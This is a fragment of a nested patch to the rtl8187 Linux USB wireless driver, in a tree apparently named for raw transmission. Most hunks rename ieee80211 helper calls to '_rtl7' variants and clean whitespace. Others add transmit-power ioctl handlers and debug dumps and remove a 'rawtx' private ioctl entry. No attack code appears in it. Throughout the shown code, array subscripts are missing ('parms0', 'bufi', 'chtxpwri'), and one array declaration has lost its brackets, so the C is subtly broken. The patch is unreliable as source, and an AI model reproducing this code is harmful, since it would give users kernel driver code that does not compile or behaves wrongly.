++
+ 	up(&priv->wx_sem);
+ 	return ret;
+ }
+@@ -286,50 +336,50 @@
+ {
+ 
+ 	int ret;
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	if(!priv->up) return -1;
+-			
++
+ 	down(&priv->wx_sem);
+ 
+-	ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b);
+-		
++	ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b);
++
+ 	up(&priv->wx_sem);
+-	
++
+ 	return ret;
+ }
+ 
+ 
+-static int r8180_wx_set_essid(struct net_device *dev, 
++static int r8180_wx_set_essid(struct net_device *dev,
+ 			      struct iw_request_info *a,
+ 			      union iwreq_data *wrqu, char *b)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	int ret;
+-	
++
+ 	down(&priv->wx_sem);
+-	
+-	ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b);
+-	
++
++	ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b);
++
+ 	up(&priv->wx_sem);
+ 	return ret;
+ }
+ 
+ 
+-static int r8180_wx_get_essid(struct net_device *dev, 
++static int r8180_wx_get_essid(struct net_device *dev,
+ 			      struct iw_request_info *a,
+ 			      union iwreq_data *wrqu, char *b)
+ {
+ 	int ret;
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	down(&priv->wx_sem);
+-	
+-	ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b);
++
++	ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b);
+ 
+ 	up(&priv->wx_sem);
+-	
++
+ 	return ret;
+ }
+ 
+@@ -338,30 +388,30 @@
+ 			     union iwreq_data *wrqu, char *b)
+ {
+ 	int ret;
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	down(&priv->wx_sem);
+-	
+-	ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b);
+-	
++
++	ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b);
++
+ 	up(&priv->wx_sem);
+ 	return ret;
+ }
+ 
+-static int r8180_wx_get_name(struct net_device *dev, 
+-			     struct iw_request_info *info, 
++static int r8180_wx_get_name(struct net_device *dev,
++			     struct iw_request_info *info,
+ 			     union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++	return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra);
+ }
+ 
+ 
+-static int r8180_wx_set_frag(struct net_device *dev, 
+-			     struct iw_request_info *info, 
++static int r8180_wx_set_frag(struct net_device *dev,
++			     struct iw_request_info *info,
+ 			     union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 
+ 	if (wrqu->frag.disabled)
+ 		priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD;
+@@ -369,7 +419,7 @@
+ 		if (wrqu->frag.value < MIN_FRAG_THRESHOLD ||
+ 		    wrqu->frag.value > MAX_FRAG_THRESHOLD)
+ 			return -EINVAL;
+-		
++
+ 		priv->ieee80211->fts = wrqu->frag.value & ~0x1;
+ 	}
+ 
+@@ -377,11 +427,11 @@
+ }
+ 
+ 
+-static int r8180_wx_get_frag(struct net_device *dev, 
+-			     struct iw_request_info *info, 
++static int r8180_wx_get_frag(struct net_device *dev,
++			     struct iw_request_info *info,
+ 			     union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 
+ 	wrqu->frag.value = priv->ieee80211->fts;
+ 	wrqu->frag.fixed = 0;	/* no auto select */
+@@ -397,49 +447,49 @@
+ 			 char *extra)
+ {
+ 	int ret;
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	down(&priv->wx_sem);
+-	
+-	ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra);
+-	
++
++	ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra);
++
+ 	up(&priv->wx_sem);
+ 	return ret;
+-	
++
+ }
+-	
+ 
+-static int r8180_wx_get_wap(struct net_device *dev, 
+-			    struct iw_request_info *info, 
++
++static int r8180_wx_get_wap(struct net_device *dev,
++			    struct iw_request_info *info,
+ 			    union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
+-	return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
++	return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra);
+ }
+ 
+ 
+-static int r8180_wx_get_enc(struct net_device *dev, 
+-			    struct iw_request_info *info, 
++static int r8180_wx_get_enc(struct net_device *dev,
++			    struct iw_request_info *info,
+ 			    union iwreq_data *wrqu, char *key)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
+-	return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
++	return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key);
+ }
+ 
+-static int r8180_wx_set_enc(struct net_device *dev, 
+-			    struct iw_request_info *info, 
++static int r8180_wx_set_enc(struct net_device *dev,
++			    struct iw_request_info *info,
+ 			    union iwreq_data *wrqu, char *key)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int ret;
+-	
++
+ 	down(&priv->wx_sem);
+-	
++
+ 		DMESG("Setting SW wep key");
+-		ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key);
+-			
++		ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key);
++
+ 	up(&priv->wx_sem);
+ 	return ret;
+ }
+@@ -447,28 +497,28 @@
+ 
+ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union
+  iwreq_data *wrqu, char *p){
+-  
+- 	struct r8180_priv *priv = ieee80211_priv(dev);
++
++ 	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int *parms=(int*)p;
+ 	int mode=parms0;
+-	
++
+ 	priv->ieee80211->active_scan = mode;
+-	
++
+ 	return 1;
+ }
+ 
+ 
+ 
+-static int r8180_wx_set_retry(struct net_device *dev, 
+-				struct iw_request_info *info, 
++static int r8180_wx_set_retry(struct net_device *dev,
++				struct iw_request_info *info,
+ 				union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int err = 0;
+-	
++
+ 	down(&priv->wx_sem);
+-	
+-	if (wrqu->retry.flags & IW_RETRY_LIFETIME || 
++
++	if (wrqu->retry.flags & IW_RETRY_LIFETIME ||
+ 	    wrqu->retry.disabled){
+ 		err = -EINVAL;
+ 		goto exit;
+@@ -485,13 +535,13 @@
+ 	if (wrqu->retry.flags & IW_RETRY_MAX) {
+ 		priv->retry_rts = wrqu->retry.value;
+ 		DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value);
+-	
++
+ 	}else {
+ 		priv->retry_data = wrqu->retry.value;
+ 		DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value);
+ 	}
+-	
+-	/* FIXME ! 
++
++	/* FIXME !
+ 	 * We might try to write directly the TX config register
+ 	 * or to restart just the (R)TX process.
+ 	 * I'm unsure if whole reset is really needed
+@@ -503,28 +553,28 @@
+ 		rtl8180_rtx_disable(dev);
+ 		rtl8180_rx_enable(dev);
+ 		rtl8180_tx_enable(dev);
+-			
++
+ 	}
+ 	*/
+ exit:
+ 	up(&priv->wx_sem);
+-	
++
+ 	return err;
+ }
+ 
+-static int r8180_wx_get_retry(struct net_device *dev, 
+-				struct iw_request_info *info, 
++static int r8180_wx_get_retry(struct net_device *dev,
++				struct iw_request_info *info,
+ 				union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 
+ 	wrqu->retry.disabled = 0; /* can't be disabled */
+ 
+-	if ((wrqu->retry.flags & IW_RETRY_TYPE) == 
+-	    IW_RETRY_LIFETIME) 
++	if ((wrqu->retry.flags & IW_RETRY_TYPE) ==
++	    IW_RETRY_LIFETIME)
+ 		return -EINVAL;
+-	
++
+ 	if (wrqu->retry.flags & IW_RETRY_MAX) {
+ 		wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX;
+ 		wrqu->retry.value = priv->retry_rts;
+@@ -533,30 +583,30 @@
+ 		wrqu->retry.value = priv->retry_data;
+ 	}
+ 	//DMESG("returning %d",wrqu->retry.value);
+-	
++
+ 
+ 	return 0;
+ }
+ 
+-static int r8180_wx_get_sens(struct net_device *dev, 
+-				struct iw_request_info *info, 
++static int r8180_wx_get_sens(struct net_device *dev,
++				struct iw_request_info *info,
+ 				union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	if(priv->rf_set_sens == NULL) 
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++	if(priv->rf_set_sens == NULL)
+ 		return -1; /* we have not this support for this radio */
+ 	wrqu->sens.value = priv->sens;
+ 	return 0;
+ }
+ 
+ 
+-static int r8180_wx_set_sens(struct net_device *dev, 
+-				struct iw_request_info *info, 
++static int r8180_wx_set_sens(struct net_device *dev,
++				struct iw_request_info *info,
+ 				union iwreq_data *wrqu, char *extra)
+ {
+-	
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	short err = 0;
+ 	down(&priv->wx_sem);
+ 	//DMESG("attempt to set sensivity to %ddb",wrqu->sens.value);
+@@ -571,7 +621,7 @@
+ 
+ exit:
+ 	up(&priv->wx_sem);
+-	
++
+ 	return err;
+ }
+ 
+@@ -623,32 +673,28 @@
+         dummy,                    /* SIOCGIWRTS */
+         r8180_wx_set_frag,        /* SIOCSIWFRAG */
+         r8180_wx_get_frag,        /* SIOCGIWFRAG */
+-        dummy,                    /* SIOCSIWTXPOW */
+-        dummy,                    /* SIOCGIWTXPOW */
++        r8180_wx_set_txpow,       /* SIOCSIWTXPOW */
++        r8180_wx_get_txpow,       /* SIOCGIWTXPOW */
+         r8180_wx_set_retry,       /* SIOCSIWRETRY */
+         r8180_wx_get_retry,       /* SIOCGIWRETRY */
+         r8180_wx_set_enc,         /* SIOCSIWENCODE */
+         r8180_wx_get_enc,         /* SIOCGIWENCODE */
+         dummy,                    /* SIOCSIWPOWER */
+         dummy,                    /* SIOCGIWPOWER */
+-}; 
++};
+ 
+ 
+-static const struct iw_priv_args r8180_private_args = { 
+-	
++static const struct iw_priv_args r8180_private_args = {
++
+ 	{
+-		SIOCIWFIRSTPRIV + 0x0, 
+-		IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" 
+-	}, 
+-	
++		SIOCIWFIRSTPRIV + 0x0,
++		IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc"
++	},
++
+ 	{
+ 		SIOCIWFIRSTPRIV + 0x1,
+ 		IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan"
+-	
+-	},
+-	{
+-		SIOCIWFIRSTPRIV + 0x2, 
+-		IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" 
++
+ 	}
+ };
+ 
+@@ -660,13 +706,12 @@
+ //	r8180_wx_set_beaconinterval,
+ //	r8180_wx_set_monitor_type,
+ 	r8180_wx_set_scan_type,
+-	r8180_wx_set_rawtx,
+ };
+ 
+-#if WIRELESS_EXT >= 17	
++#if WIRELESS_EXT >= 17
+ static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev)
+ {
+-       struct r8180_priv *priv = ieee80211_priv(dev);
++       struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 
+        return &priv->wstats;
+ }
+@@ -679,8 +724,8 @@
+ 	.private = r8180_private_handler,
+ 	.num_private = sizeof(r8180_private_handler) / sizeof(iw_handler),
+  	.num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args),
+-#if WIRELESS_EXT >= 17	
++#if WIRELESS_EXT >= 17
+ 	.get_wireless_stats = r8180_get_wireless_stats,
+ #endif
+-	.private_args = (struct iw_priv_args *)r8180_private_args,	
++	.private_args = (struct iw_priv_args *)r8180_private_args,
+ };
+diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_rawtx/beta-8187/r8187_core.c
+--- rtl8187_orig/beta-8187/r8187_core.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/r8187_core.c	2007-06-05 14:00:01.000000000 +0200
+@@ -1,27 +1,27 @@
+ /*
+    This is part of rtl8187 OpenSource driver - v 0.1
+-   Copyright (C) Andrea Merello 2005  <andreamrl@tiscali.it> 
++   Copyright (C) Andrea Merello 2005  <andreamrl@tiscali.it>
+    Released under the terms of GPL (General Public License)
+-   
+-   
+-   Parts of this driver are based on the rtl8180 driver skeleton 
++
++
++   Parts of this driver are based on the rtl8180 driver skeleton
+    from Patric Schenke & Andres Salomon.
+ 
+    Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers.
+-   
++
+    some ideas might be derived from David Young rtl8180 netbsd driver.
+-   
++
+    Parts of the usb code are from the r8150.c driver in linux kernel
+-   
++
+    Some ideas borrowed from the 8139too.c driver included in linux kernel.
+-   
+-   We (I?) want to thanks the Authors of those projecs and also the 
++
++   We (I?) want to thanks the Authors of those projecs and also the
+    Ndiswrapper's project Authors.
+-   
+-   A special big thanks goes also to Realtek corp. for their help in my 
+-   attempt to add RTL8187 and RTL8225 support, and to David Young also. 
+ 
+-	- Please note that this file is a modified version from rtl8180-sa2400 
++   A special big thanks goes also to Realtek corp. for their help in my
++   attempt to add RTL8187 and RTL8225 support, and to David Young also.
++
++	- Please note that this file is a modified version from rtl8180-sa2400
+ 	drv. So some other people have contributed to this project, and they are
+ 	thanked in the rtl8180-sa2400 CHANGELOG.
+ */
+@@ -57,6 +57,7 @@
+ #undef DEBUG_IRQ_TASKLET
+ #undef DEBUG_TX_ALLOC
+ #undef DEBUG_TX_DESC
++#undef DEBUG_TX_POWER
+ 
+ //#define CONFIG_RTL8180_IO_MAP
+ 
+@@ -66,6 +67,9 @@
+ #include "r8180_93cx6.h"   /* Card EEPROM */
+ #include "r8180_wx.h"
+ 
++#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE))
++	#error	Build your kernel with ehci_hcd support!
++#endif
+ 
+ // FIXME: check if 2.6.7 is ok
+ #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7))
+@@ -98,6 +102,10 @@
+ #endif
+ static int channels = 0x3fff;
+ 
++// #define DEBUG_EPROM
++// #define DEBUG_REGISTERS
++// #define DEBUG_TX_POWER
++
+ MODULE_LICENSE("GPL");
+ MODULE_VERSION("V 1.1");
+ MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl);
+@@ -137,7 +145,7 @@
+ 
+ static int __devinit rtl8187_usb_probe(struct usb_interface *intf,
+ 			 const struct usb_device_id *id);
+-			 
++
+ static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf);
+ 
+ static struct usb_driver rtl8187_usb_driver = {
+@@ -158,13 +166,12 @@
+ #endif
+ };
+ 
+-
+ void write_nic_byte_E(struct net_device *dev, int indx, u8 data)
+ {
+-	
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	struct usb_device *udev = priv->udev;
+-	
++
+ 	usb_control_msg(udev, usb_sndctrlpipe(udev, 0),
+ 			       RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE,
+ 			       indx|0xfe00, 0, &data, 1, HZ / 2);
+@@ -173,10 +180,10 @@
+ 
+ void write_nic_byte(struct net_device *dev, int indx, u8 data)
+ {
+-	
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	struct usb_device *udev = priv->udev;
+-	
++
+ 	usb_control_msg(udev, usb_sndctrlpipe(udev, 0),
+ 			       RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE,
+ 			       indx|0xff00, 0, &data, 1, HZ / 2);
+@@ -185,10 +192,10 @@
+ 
+ void write_nic_word(struct net_device *dev, int indx, u16 data)
+ {
+-	
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	struct usb_device *udev = priv->udev;
+-	
++
+ 	usb_control_msg(udev, usb_sndctrlpipe(udev, 0),
+ 			       RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE,
+ 			       indx|0xff00, 0, &data, 2, HZ / 2);
+@@ -197,23 +204,23 @@
+ 
+ void write_nic_dword(struct net_device *dev, int indx, u32 data)
+ {
+-	
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	struct usb_device *udev = priv->udev;
+-	
++
+ 	usb_control_msg(udev, usb_sndctrlpipe(udev, 0),
+ 			       RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE,
+ 			       indx|0xff00, 0, &data, 4, HZ / 2);
+ }
+- 
+- 
+- 
++
++
++
+ u8 read_nic_byte(struct net_device *dev, int indx)
+ {
+ 	u8 data;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	struct usb_device *udev = priv->udev;
+-	
++
+ 	usb_control_msg(udev, usb_rcvctrlpipe(udev, 0),
+ 			       RTL8187_REQ_GET_REGS, RTL8187_REQT_READ,
+ 			       indx|0xff00, 0, &data, 1, HZ / 2);
+@@ -223,22 +230,22 @@
+ u8 read_nic_byte_E(struct net_device *dev, int indx)
+ {
+ 	u8 data;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	struct usb_device *udev = priv->udev;
+-	
++
+ 	usb_control_msg(udev, usb_rcvctrlpipe(udev, 0),
+ 			       RTL8187_REQ_GET_REGS, RTL8187_REQT_READ,
+ 			       indx|0xfe00, 0, &data, 1, HZ / 2);
+ 	return data;
+ }
+ 
+- 
++
+ u16 read_nic_word(struct net_device *dev, int indx)
+ {
+ 	u16 data;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	struct usb_device *udev = priv->udev;
+-	
++
+ 	usb_control_msg(udev, usb_rcvctrlpipe(udev, 0),
+ 			       RTL8187_REQ_GET_REGS, RTL8187_REQT_READ,
+ 			       indx|0xff00, 0, &data, 2, HZ / 2);
+@@ -249,16 +256,16 @@
+ u32 read_nic_dword(struct net_device *dev, int indx)
+ {
+ 	u32 data;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	struct usb_device *udev = priv->udev;
+-	
++
+ 	usb_control_msg(udev, usb_rcvctrlpipe(udev, 0),
+ 			       RTL8187_REQ_GET_REGS, RTL8187_REQT_READ,
+ 			       indx|0xff00, 0, &data, 4, HZ / 2);
+ 	return data;
+ }
+ 
+-/* this might still called in what was the PHY rtl8185/rtl8187 common code 
++/* this might still called in what was the PHY rtl8185/rtl8187 common code
+  * plans are to possibilty turn it again in one common code...
+  */
+ inline void force_pci_posting(struct net_device *dev)
+@@ -271,7 +278,12 @@
+ //void set_nic_txring(struct net_device *dev);
+ static struct net_device_stats *rtl8180_stats(struct net_device *dev);
+ void rtl8180_commit(struct net_device *dev);
++
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void rtl8180_restart(struct work_struct *work);
++#else
+ void rtl8180_restart(struct net_device *dev);
++#endif
+ 
+ /****************************************************************************
+    -----------------------------PROCFS STUFF-------------------------
+@@ -284,13 +296,13 @@
+ 			  int *eof, void *data)
+ {
+ 	struct net_device *dev = data;
+-//	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	
++//	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++
+ 	int len = 0;
+ 	int i,n;
+-			
++
+ 	int max=0xff;
+-	
++
+ 	/* This dump the current register page */
+ 	for(n=0;n<=max;)
+ 	{
+@@ -307,7 +319,7 @@
+ 	len += snprintf(page + len, count - len,"\n");
+ 
+ 
+-		
++
+ 	*eof = 1;
+ 	return len;
+ 
+@@ -319,16 +331,16 @@
+ 			  int *eof, void *data)
+ {
+ 	struct net_device *dev = data;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++
+ 	int len = 0;
+-	
++
+ 	len += snprintf(page + len, count - len,
+ 		"NIC int: %lu\n"
+ 		"Total int: %lu\n",
+ 		priv->stats.ints,
+ 		priv->stats.shints);
+-			
++
+ 	*eof = 1;
+ 	return len;
+ }
+@@ -339,10 +351,10 @@
+ 			  int *eof, void *data)
+ {
+ 	struct net_device *dev = data;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++
+ 	int len = 0;
+-	
++
+ 	len += snprintf(page + len, count - len,
+ 		"TX normal priority ok int: %lu\n"
+ 		"TX normal priority error int: %lu\n"
+@@ -359,7 +371,7 @@
+ 		"TX HW queue: %d\n"
+ 		"TX lp dropped: %lu\n"
+ 		"TX np dropped: %lu\n"
+-		"TX total data packets %lu\n",		
++		"TX total data packets %lu\n",
+ //		"TX beacon aborted: %lu\n",
+ 		priv->stats.txnpokint,
+ 		priv->stats.txnperr,
+@@ -379,10 +391,10 @@
+ 		priv->stats.txdatapkt
+ //		priv->stats.txbeaconerr
+ 		);
+-			
++
+ 	*eof = 1;
+ 	return len;
+-}		
++}
+ 
+ 
+ 
+@@ -391,10 +403,10 @@
+ 			  int *eof, void *data)
+ {
+ 	struct net_device *dev = data;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++
+ 	int len = 0;
+-	
++
+ 	len += snprintf(page + len, count - len,
+ 		"RX packets: %lu\n"
+ 		"RX urb status error: %lu\n"
+@@ -402,21 +414,22 @@
+ 		priv->stats.rxok,
+ 		priv->stats.rxstaterr,
+ 		priv->stats.rxurberr);
+-			
++
+ 	*eof = 1;
+ 	return len;
+-}		
+-
++}
+ 
++#if WIRELESS_EXT < 17
+ static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev)
+ {
+-       struct r8180_priv *priv = ieee80211_priv(dev);
++       struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 
+        return &priv->wstats;
+ }
++#endif
+ 
+ void rtl8180_proc_module_init(void)
+-{	
++{
+ 	DMESG("Initializing proc filesystem");
+ 	rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net);
+ }
+@@ -430,7 +443,7 @@
+ 
+ void rtl8180_proc_remove_one(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	if (priv->dir_dev) {
+ 	//	remove_proc_entry("stats-hw", priv->dir_dev);
+ 		remove_proc_entry("stats-tx", priv->dir_dev);
+@@ -447,9 +460,9 @@
+ void rtl8180_proc_init_one(struct net_device *dev)
+ {
+ 	struct proc_dir_entry *e;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	priv->dir_dev = create_proc_entry(dev->name, 
+-					  S_IFDIR | S_IRUGO | S_IXUGO, 
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++	priv->dir_dev = create_proc_entry(dev->name,
++					  S_IFDIR | S_IRUGO | S_IXUGO,
+ 					  rtl8180_proc);
+ 	if (!priv->dir_dev) {
+ 		DMESGE("Unable to initialize /proc/net/rtl8187/%s\n",
+@@ -459,7 +472,7 @@
+ 	#if 0
+ 	e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO,
+ 				   priv->dir_dev, proc_get_stats_hw, dev);
+-				   
++
+ 	if (!e) {
+ 		DMESGE("Unable to initialize "
+ 		      "/proc/net/rtl8187/%s/stats-hw\n",
+@@ -468,17 +481,17 @@
+ 	#endif
+ 	e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO,
+ 				   priv->dir_dev, proc_get_stats_rx, dev);
+-				   
++
+ 	if (!e) {
+ 		DMESGE("Unable to initialize "
+ 		      "/proc/net/rtl8187/%s/stats-rx\n",
+ 		      dev->name);
+ 	}
+-	
+-	
++
++
+ 	e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO,
+ 				   priv->dir_dev, proc_get_stats_tx, dev);
+-				   
++
+ 	if (!e) {
+ 		DMESGE("Unable to initialize "
+ 		      "/proc/net/rtl8187/%s/stats-tx\n",
+@@ -487,27 +500,27 @@
+ 	#if 0
+ 	e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO,
+ 				   priv->dir_dev, proc_get_stats_ieee, dev);
+-				   
++
+ 	if (!e) {
+ 		DMESGE("Unable to initialize "
+ 		      "/proc/net/rtl8187/%s/stats-ieee\n",
+ 		      dev->name);
+ 	}
+-	
+-	
++
++
+ 	e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO,
+ 				   priv->dir_dev, proc_get_stats_ap, dev);
+-				   
++
+ 	if (!e) {
+ 		DMESGE("Unable to initialize "
+ 		      "/proc/net/rtl8187/%s/stats-ap\n",
+ 		      dev->name);
+ 	}
+ 	#endif
+-	
++
+ 	e = create_proc_read_entry("registers", S_IFREG | S_IRUGO,
+ 				   priv->dir_dev, proc_get_registers, dev);
+-	
++
+ 	if (!e) {
+ 		DMESGE("Unable to initialize "
+ 		      "/proc/net/rtl8187/%s/registers\n",
+@@ -523,14 +536,14 @@
+ {
+ 	int i;
+ 	u8 *buf =(u8*)buffer;
+-	
++
+ 	printk("ASCII BUFFER DUMP (len: %x):\n",len);
+-	
++
+ 	for(i=0;i<len;i++)
+ 		printk("%c",bufi);
+-		
++
+ 	printk("\nBINARY BUFFER DUMP (len: %x):\n",len);
+-	
++
+ 	for(i=0;i<len;i++)
+ 		printk("%x",bufi);
+ 
+@@ -539,17 +552,17 @@
+ 
+ short check_nic_enought_desc(struct net_device *dev, priority_t priority)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
+-	int used = atomic_read((priority == NORM_PRIORITY) ? 
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
++	int used = atomic_read((priority == NORM_PRIORITY) ?
+ 		&priv->tx_np_pending : &priv->tx_lp_pending);
+-	
++
+ 	return (used < MAX_TX_URB);
+ }
+ 
+ void tx_timeout(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	//rtl8180_commit(dev);
+ 	schedule_work(&priv->reset_wq);
+ 	//DMESG("TXTIMEOUT");
+@@ -561,7 +574,20 @@
+ {
+ 	int i;
+ 	for(i=0; i<63; i++)
+-		DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i));
++		DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i));
++}
++
++/* this is only for debug */
++void dump_tx_power(struct net_device *dev)
++{
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++	int i;
++	DMESG("CCK TX-Power (b-mode):");
++	for(i=1; i<=14; i++)
++		DMESG("Channel %d: %d", i, priv->chtxpwri);
++	DMESG("OFDM TX-Power (g-mode):");
++	for(i=1; i<=14; i++)
++		DMESG("Channel %d: %d", i, priv->chtxpwr_ofdmi);
+ }
+ 
+ /* this is only for debug */
+@@ -570,14 +596,14 @@
+ 	int i;
+ 	int n;
+ 	int max=0xff;
+-	
+-	DMESG("Dumping NIC register map");	
+-	
++
++	DMESG("Dumping NIC register map");
++
+ 	for(n=0;n<=max;)
+ 	{
+-		printk( "\nD: %2x> ", n);
++		printk( "\nD: %02X> ", n);
+ 		for(i=0;i<16 && n<=max;i++,n++)
+-			printk("%2x ",read_nic_byte(dev,n));
++			printk("%02X ",read_nic_byte(dev,n));
+ 	}
+ 	printk("\n");
